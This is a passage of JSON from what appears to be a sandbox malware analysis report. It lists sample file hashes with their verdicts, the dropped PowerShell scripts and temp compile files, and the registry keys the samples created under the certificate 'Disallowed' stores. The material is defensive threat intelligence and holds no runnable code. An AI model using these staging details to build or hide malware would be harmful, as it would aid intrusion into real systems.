"report_type":"qsp","report_id":""}]},{"name":"ec0a6df54bc0e80619ee7063134ba0b030d946a5229a7a3e96cbc7c4ef9e1df9","sha256":"ec0a6df54bc0e80619ee7063134ba0b030d946a5229a7a3e96cbc7c4ef9e1df9","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2026-08-11T18-14-23-843b1e.ps1","sha256":"843b1e0910335e61499f5cf3a620f936ae62f3d25ccde352ff2ce60954737a2f","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"407a061d0bde557bc6558bc9fd4c8391472360ee9998f9b552cb0c0fc4034a08","sha256":"407a061d0bde557bc6558bc9fd4c8391472360ee9998f9b552cb0c0fc4034a08","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"4b921196f589c3c27c031d7625a249f7099f4d19663a930d871e2febe74bf397","sha256":"4b921196f589c3c27c031d7625a249f7099f4d19663a930d871e2febe74bf397","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"979ba095e780e1e4062d190c40acf086cb7db200c6c5aac97617a7621e033bb2","sha256":"979ba095e780e1e4062d190c40acf086cb7db200c6c5aac97617a7621e033bb2","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-005","sha256":"05646b099078ce0ec362da2cf5d0b794d1860aef1b9e29db3e65cf363b8a007a","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"c30caf24f37d9340e398fb5b859cf6e90c377ad0cde19b92bef789d76c6ffc56","sha256":"c30caf24f37d9340e398fb5b859cf6e90c377ad0cde19b92bef789d76c6ffc56","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"e80232b4d18d0bb7e794be263ba937626f383f9917d4b8a737ba893a8f752293","sha256":"e80232b4d18d0bb7e794be263ba937626f383f9917d4b8a737ba893a8f752293","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"98de7180055ca23f4eec4ea4ce9e902d8dd256d9877d0334592936632cb2b2aa","sha256":"98de7180055ca23f4eec4ea4ce9e902d8dd256d9877d0334592936632cb2b2aa","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"3161eb856da8ba2fc17b6586489cbb5255c31d2083161bf2f80ecc3b81830960","sha256":"3161eb856da8ba2fc17b6586489cbb5255c31d2083161bf2f80ecc3b81830960","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-013","sha256":"4b151dabf06ce43497ec327deec43d8582bc6aebb0f59bb30dc3e47aa814bd7b","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-006","sha256":"38c64a3f4e383c2219dc08b021942e4f0f7183d4d897d699ee16676edff3478a","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"6cf1b57d59e7111bc218dfb01dda93ac0f776715599a1c69f89035bd20c16a10","sha256":"6cf1b57d59e7111bc218dfb01dda93ac0f776715599a1c69f89035bd20c16a10","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"b5d0241e9dc7cf46d4eb3846cf5e0425bb08eefa1d5e04ed8793f721909c4cf6","sha256":"b5d0241e9dc7cf46d4eb3846cf5e0425bb08eefa1d5e04ed8793f721909c4cf6","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"66ebf4506a3d269dd20031921b7621623ab760695bc132b5487bd50f277c70c8","sha256":"66ebf4506a3d269dd20031921b7621623ab760695bc132b5487bd50f277c70c8","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-008","sha256":"ff5f5800076cf65aafd69ecdba866fc777bf0d45399ad930c113bb07fb898c18","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"84c456fff0ae98d14db6b061c596e65e3a359d539031fb43d93bca82b102e8f8","sha256":"84c456fff0ae98d14db6b061c596e65e3a359d539031fb43d93bca82b102e8f8","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64","sha256":"60cc424c1f7cf8d5d553d00e60f97b5e7707caf317b68292f2567093bcb47f36","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"6038faa0feefc4853a9f035b3d432283d435be686e672168ed845425ea1470bb","sha256":"6038faa0feefc4853a9f035b3d432283d435be686e672168ed845425ea1470bb","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"543d2b71c4c76f0b3f368ac1ef1c4a0fc1d3d82b1d3d82913352b19c89235d50","sha256":"543d2b71c4c76f0b3f368ac1ef1c4a0fc1d3d82b1d3d82913352b19c89235d50","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-012","sha256":"e31a49bcb7d98b4e937ae0152c73d8986f64a4ecb29b9202cda6080aad55d301","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"9f6a6694737e54b7022360509ed095c3eca909ae4adeb5583f2d3f8aaf7d75e0","sha256":"9f6a6694737e54b7022360509ed095c3eca909ae4adeb5583f2d3f8aaf7d75e0","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"3e99aa655bc746ddfc486e77576611c78aa23ab160f90d792ec1648cb6c03b32","sha256":"3e99aa655bc746ddfc486e77576611c78aa23ab160f90d792ec1648cb6c03b32","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"078c8dcf500232adf99925d4b0e2cecf20c8e353d2ae528fa6446aa35b8ee482","sha256":"078c8dcf500232adf99925d4b0e2cecf20c8e353d2ae528fa6446aa35b8ee482","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"b9662dc4d655b0092dac62c14851812b7d684c929c410e33f2c9c57666b7c64d","sha256":"b9662dc4d655b0092dac62c14851812b7d684c929c410e33f2c9c57666b7c64d","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9","sha256":"2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-001","sha256":"6e31189268c4d90aaf402ac747a808c6d140ca19638adbd55d81c05f2b76c989","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-015","sha256":"c44074d76c03f31fae294d147dff766006a74d878a5e102a37aaf4a3a196d6e3","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","sha256":"44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"dump.pcap","sha256":"7679f80ee2539dc758ff4b600265d87c69c214ee12c5fd0efd473a87d85c311b","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"R5$","sha256":"312cad7d76344a1011b0fd7fbb56ee0fae82257e102d515531008e1725269804","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"a11937f356a9b0ba592c82f5290bac8016cb33a3f9bc68d3490147c158ebb10d","sha256":"a11937f356a9b0ba592c82f5290bac8016cb33a3f9bc68d3490147c158ebb10d","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"3932825ea34a2070ea881d0a81f4b5825d6f9070c79a72527872a8ff37a91d7c","sha256":"3932825ea34a2070ea881d0a81f4b5825d6f9070c79a72527872a8ff37a91d7c","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"76156bef4fb21386d4e6514706ad4778b468d27b53e215de05d1274fdfb44b31","sha256":"76156bef4fb21386d4e6514706ad4778b468d27b53e215de05d1274fdfb44b31","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"4b5c9c523d24b89ef7dc03fdf2f1dc6f7246c87f259349611ce67aec473a8967","sha256":"4b5c9c523d24b89ef7dc03fdf2f1dc6f7246c87f259349611ce67aec473a8967","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"4b69838534e79c682d5b47fa702eb51a1f11f5cfef05d69a619ff317ad213867","sha256":"4b69838534e79c682d5b47fa702eb51a1f11f5cfef05d69a619ff317ad213867","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-007","sha256":"196e2e81308342bb013a33c9c99029afce9e9ae00a3eb89e867975795b794520","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"9bf77b76dac2e35bf03811a91b8d014bde38b53935b8bbfe6ab3dc81ec9f4bd0","sha256":"9bf77b76dac2e35bf03811a91b8d014bde38b53935b8bbfe6ab3dc81ec9f4bd0","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-000","sha256":"5c5aede21dc78af21a82837164b3d529404c04fc0375bc171c020db2920b730f","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-004","sha256":"c94956d02f705fd3aa16d28fa33363f0ce1c61bacfa58a1a7ddcf67a790c25b5","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-006","sha256":"9531887463feca8f93eff33d4b74c709187a5225afea751f551f3aacbf54b7f9","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef","sha256":"5f70bf18a086007016e948b04aed3b82103a36bea41755b6cddfaf10ace3c6ef","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"a601cea5fcf695fc0f0f0f56d25da6c2effa369fff3d749f82a804cfa0b67918","sha256":"a601cea5fcf695fc0f0f0f56d25da6c2effa369fff3d749f82a804cfa0b67918","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":".rsrc/version.txt","sha256":"9bd5fbfd30ce08f9a41c11bcf2d0b53b1888b76627e38e9bee125606bf620c92","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-007","sha256":"63db0149410b0be2e4a4a3a9a989cb2388cc7ab0997d480dc9aef954cff61ba9","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-005","sha256":"5ec010521e0f69436a5854a824c0247aa3fbb4cacca1e505f6744eb3b851052d","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-003","sha256":"261902542c906e888705c5be0692020fb7f50757292633921e822de74156ccda","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"3bb5f6f71be1ae0720eab3470e0aaee67e9f6dfe1bb80877989166f14856b27f","sha256":"3bb5f6f71be1ae0720eab3470e0aaee67e9f6dfe1bb80877989166f14856b27f","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-003","sha256":"2cd16abf0aa0701f1bbb0ca3dcc09984bd94b6eb19a22e33a6d1cdf9e185e388","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"b91284b36e2920ab07bc374125cc3d5e1a1ed9a8a4f579884ebc951cffe5fa88","sha256":"b91284b36e2920ab07bc374125cc3d5e1a1ed9a8a4f579884ebc951cffe5fa88","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"R5&&","sha256":"e39920d5a7e7b676e5d4fca00baecc3b45ec825f03c003ee626cd320e45f6016","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-009","sha256":"7d2065ab0b76498a637c88add286195c71bdb593a995d1f6cedd7ba5fc63ef9e","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"plain-tls.pcap","sha256":"1b5ac16fdeed1f1d8a9389213d78b4356d26a0823d0054fcb4869d892b89d213","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"500c344d35847da6eb2a3103b1dc3f3dbc676e0fb68279134e6705cd22d006b6","sha256":"500c344d35847da6eb2a3103b1dc3f3dbc676e0fb68279134e6705cd22d006b6","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":".text","sha256":"cf03a364f7eaf9d5ce2f2a96460e0805072830393a977e44d6225ddb5f084988","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"e9bc28430183686de04353020f35d1917692e7aa980b857386edec72f35a541d","sha256":"e9bc28430183686de04353020f35d1917692e7aa980b857386edec72f35a541d","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-000","sha256":"bf372a82c813d748c09d1703ad8e0097e72ef3191ed94a22c3de37e86e9062c6","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-013","sha256":"016bd6d9249a05ccb88b74f79b8e20135711020d1a471cbaf92974a502624b11","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"28750q24813.ps1","sha256":"2666aa754b423a404dcc68cb0aec6df87030c670606e622f0b5e80139f7760a6","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"npm4ol10jde.cmd","sha256":"faa38d4432c0daf05a189dfbc6330736418bbe0e5d70bc0ccb5e83a5daa23bf2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"nlyjs020.cmdline","sha256":"124334d61c5d2f70ac7ed5870f71b11cfb028462e3d4015ca5049c130c637d60","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"4xim0g4s.myp","sha256":"c35ef71f8ab6e9cff344f88a62f6a02e495b6d83a7a92651d4962277e290c035","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"euck1s2w.25u","sha256":"1274e7aac70491336e11ff76fcbfab93b10e3e5bac8b71360422094fe8677a51","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"naisjwyh.hxp","sha256":"8a92d1a29d39049d2e329bc926f137dd01acded296b7580bef8ff74bacf624ce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"nlyjs020.0.cs","sha256":"6e7c584ab6a22978c7d48d0eb70f3e9cc9fc9d7b41314e78d6ad3e95efc376ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"nlyjs020.out","sha256":"1afa9116a3a2a1182bd40701e04eb676610833f2fef0e5d8ed5b21f486934994","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"name":"31611q3961.ps1","sha256":"2666aa754b423a404dcc68cb0aec6df87030c670606e622f0b5e80139f7760a6","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"__PSScriptPolicyTest_l1locpis.aze.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"__PSScriptPolicyTest_mprdabfl.nt2.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"__PSScriptPolicyTest_pwblxpun.pze.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"dz4rlfvbw3d.cmd","sha256":"faa38d4432c0daf05a189dfbc6330736418bbe0e5d70bc0ccb5e83a5daa23bf2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"cmmbj1j2.cmdline","sha256":"6ac0f277484e81533f6f7a7d81e383a8e6219e0349f8eae0c779a017a8cd4ae5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"__PSScriptPolicyTest_3vnwuemq.crr.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"__PSScriptPolicyTest_c5uok5kj.m5g.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"__PSScriptPolicyTest_cjrmo55s.erv.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"__PSScriptPolicyTest_jeyx5040.wjj.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"__PSScriptPolicyTest_ravmdseg.ppo.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"cmmbj1j2.0.cs","sha256":"6e7c584ab6a22978c7d48d0eb70f3e9cc9fc9d7b41314e78d6ad3e95efc376ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"cmmbj1j2.out","sha256":"a097423ebb380b44d048f8b2e01921fa8fba69e41f5e221d9a826c1d4871ae6a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"a2zlq04r.fmu","sha256":"c7f2097e6162d2dabd22b1118a41f92a6950bb6365ba7aaed4bc652bc42bebb7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"kmzyzdma.vyc","sha256":"690cdc963869f5920d19b3e6ef9a3d4b79f05bf93c0ec56d41e43f90163a5c0e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"name":"rg1izg0n.g0d","sha256":"a536119a38a7d9ad225a2cb4a26222d0b7be4b429b7cd3027ed381e430b7715d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_e3rmaazc.jzz.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_x5ziyr1o.tt1.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_aw4klctl.yki.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_eojribll.0wk.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_sz32ovfz.xu2.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_pb21apgp.zjb.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%PUBLIC%\\28750q24813.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fv3y0zjn.hnn.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ywwfzll5.3nq.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\nlyjs020\\nlyjs020.tmp","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\nlyjs020\\nlyjs020.0.cs","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\nlyjs020\\nlyjs020.dll","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\nlyjs020\\nlyjs020.cmdline","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\nlyjs020\\nlyjs020.out","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\nlyjs020\\nlyjs020.err","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_pwblxpun.pze.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_cjrmo55s.erv.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_l1locpis.aze.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ravmdseg.ppo.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\gv5xprih.idm\\a2zlq04r.fmu","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\gv5xprih.idm\\kmzyzdma.vyc","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\gv5xprih.idm\\rg1izg0n.g0d","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\gv5xprih.idm\\dz4rlfvbw3d.cmd","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_mprdabfl.nt2.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_c5uok5kj.m5g.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%PUBLIC%\\31611q3961.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_3vnwuemq.crr.ps1","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_jeyx5040.wjj.psm1","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\cmmbj1j2\\cmmbj1j2.tmp","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\cmmbj1j2\\cmmbj1j2.0.cs","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\cmmbj1j2\\cmmbj1j2.dll","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\cmmbj1j2\\cmmbj1j2.cmdline","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\cmmbj1j2\\cmmbj1j2.out","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"path":"%TEMP%\\cmmbj1j2\\cmmbj1j2.err","sources":[{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}